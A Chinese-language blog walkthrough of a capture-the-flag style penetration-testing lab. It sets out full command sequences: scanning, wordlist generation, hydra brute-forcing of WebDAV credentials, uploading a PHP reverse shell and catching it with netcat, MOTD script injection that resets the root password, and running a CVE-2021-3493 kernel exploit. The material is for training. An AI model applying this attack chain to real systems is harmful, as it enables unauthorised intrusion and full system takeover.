当前位置:网站首页>网络安全之渗透靶场实战详解
网络安全之渗透靶场实战详解
2022-04-23 16:45:00 【InfoQ】
0x00 环境配置



0x01 主机发现/端口扫描
arp-scan -l

nmap -sV -sC -p- 192.168.26.131

0x02 信息收集
dirsearch --url http://192.168.26.131



0x03 密码字典定制
cewl http://192.168.26.131 -w 192.168.26.131dict.txt

0x04 hydra密码爆破
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v

成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。
0x05 webdav漏洞
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg

通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
cp /usr/share/webshells/php/php-reverse-shell.php . #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php

通过上图可以看到,我们已经成功将反弹shell的文件上传到了靶机上,接下来kali监听本地端口,然后访问这个文件,触发执行即可getshell。
nc -lnvp 4444 #kali监听4444端口
http://192.168.26.131/webdav/rev.php #访问该链接触发执行反弹shell的代码

python3 -c "import pty;pty.spawn('/bin/bash')" #升级优化一下shell
0x06 MOTD注入提权
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null



chitragupt



ssh [email protected]
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null


vi /etc/update-motd.d/00-header #编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123



0x07 CVE-2021-3493提权:


scp exploit.c [email protected]:/home/inferno #将exp上传到靶机

gcc exploit.c -o exploit #尝试编译exploit.c 并将编译好的文件命名为exploit


chmod +x exploit #给exploit赋予执行权限
./exploit #执行exp


版权声明
本文为[InfoQ]所创,转载请带上原文链接,感谢
https://xie.infoq.cn/article/30ebf9633fca128a01ec2c0ec
边栏推荐
- loggie 源码分析 source file 模块主干分析
- 正则过滤内网地址和网段
- ByteVCharts可视化图表库,你想要的我都有
- [pimf] openharmony paper Club - what is the experience of wandering in ACM survey
- Selenium IDE and XPath installation of chrome plug-in
- Deeply understand the relevant knowledge of 3D model (modeling, material mapping, UV, normal), and the difference between displacement mapping, bump mapping and normal mapping
- NVIDIA graphics card driver error
- Installing labellmg tutorial in Windows
- 100 deep learning cases | day 41 - convolutional neural network (CNN): urbansound 8K audio classification (speech recognition)
- ∑GL-透视投影矩阵的推导
猜你喜欢

Disk management and file system

昆腾全双工数字无线收发芯片KT1605/KT1606/KT1607/KT1608适用对讲机方案

VMware Workstation cannot connect to the virtual machine. The system cannot find the specified file

博士申请 | 厦门大学信息学院郭诗辉老师团队招收全奖博士/博后/实习生

Detailed explanation of information abstract, digital signature, digital certificate, symmetric encryption and asymmetric encryption

Dancenn: overview of byte self-developed 100 billion scale file metadata storage system

File upload and download of robot framework

Detailed explanation of Niuke - Gloves

PyTorch:train模式与eval模式的那些坑

Install MySQL on MAC
随机推荐
loggie 源码分析 source file 模块主干分析
ACL 2022 | dialogved: a pre trained implicit variable encoding decoding model for dialogue reply generation
Change the icon size of PLSQL toolbar
TypeError: set_figure_params() got an unexpected keyword argument ‘figsize‘
Set cell filling and ranking method according to the size of the value in the soft report
vscode如何比较两个文件的异同
磁盘管理与文件系统
About background image gradient()!
How magical is the unsafe class used by all major frameworks?
Detailed explanation of gzip and gunzip decompression parameters
How to choose the wireless gooseneck anchor microphone and handheld microphone scheme
Differences between MySQL BTREE index and hash index
Pytorch: the pit between train mode and eval mode
无线鹅颈麦主播麦手持麦无线麦克风方案应当如何选择
Nifi fast installation and file synchronization
05 Lua 控制结构
Gartner announces emerging technology research: insight into the meta universe
G008-HWY-CC-ESTOR-04 华为 Dorado V6 存储仿真器配置
LVM and disk quota
Query the data from 2013 to 2021, and only query the data from 2020. The solution to this problem is carried out